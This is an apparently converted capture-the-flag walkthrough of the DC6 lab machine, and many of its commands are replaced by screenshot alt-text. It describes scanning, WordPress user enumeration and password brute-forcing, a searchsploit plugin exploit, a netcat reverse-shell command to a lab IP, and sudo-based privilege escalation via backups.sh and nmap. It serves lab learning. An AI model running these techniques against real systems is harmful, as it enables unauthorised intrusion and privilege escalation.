Walkthrough – DC6

1. To scan devices on the same network use the netdiscover command.



1. Now we have the ip of our victim, we can perform a port scan using nmap. I will use a non-ping stealth scan on all ports.

A black background with white text

Description automatically generated

* To obtain service information run the following:



1. Since the load page doesn’t load straight to the home page, it re-directs us to the domain ‘wordy’. To fix this go into ‘/etc/hosts’ and enter the following:

A screenshot of a computer

Description automatically generated

* It worked!
* Quickly looking around the webpage I can see labelling that suggests the site uses wordpress. If this is true we can use the tool wpscan.

1. A screenshot of a computer

   Description automatically generatedA wordpress scan can be conducted using the following command:

* The results show that there are 5 usernames that were found.
* Users: admin, sarah, graham, mark and jens.

1. Using dirb to find urls, the command is as follows:

A screen shot of a computer

Description automatically generated

* We have found a login page, which is useful.

1. WpScan brute force. It requires a URL and password wordlist.

* It should look something like this while cracking…



* A screenshot of a computer

  Description automatically generatedNow we have a username and password to login to the webpage.
* We can see that this website is running WordPress 5.1.1.

1. A screenshot of a computer program

   Description automatically generatedNow since we have access to an activity monitor we can go into searchsploit and look for ‘word press activity monitor’.
2. A screen shot of a computer code

   Description automatically generatedOnce it is downloaded, we can modify the contents as follows:

* Open up another terminal and use the command “nc -e /bin/bash 192.168.56.101 9999”.
* A screenshot of a computer

  Description automatically generatedRun it through the web-browser (Drag and drop it).
* Once pressed you should be stuck on a continuous loading screen.

1. A computer code on a dark background

   Description automatically generated Now you are in.
2. Update terminal.
3. A screen shot of a computer

   Description automatically generatedNow navigate to the home directory and see what mark has in his directory.

* We have obtained a new set of credentials. User: graham, pass: GSo7isUM1D4

1. Call ‘su graham’ and enter the password GSo7isUM1D4.
2. Running ‘sudo –l’ we can see that we can run backups.sh without sudo password.

A screen shot of a computer

Description automatically generated

* Now check what backups.sh does.

1. The file backups.sh can be executed on behalf of jens. We can exploit this by appending ‘/bin/bash’ to the end of the file. This should allow us to obtain jens shell.



1. A screenshot of a computer screen

   Description automatically generatedThis is from GTFOBins nmap section. The only thing I was required to add was the ‘sudo’ infront of the nmap command.
2. Gotten the flag.

A screenshot of a computer screen

Description automatically generated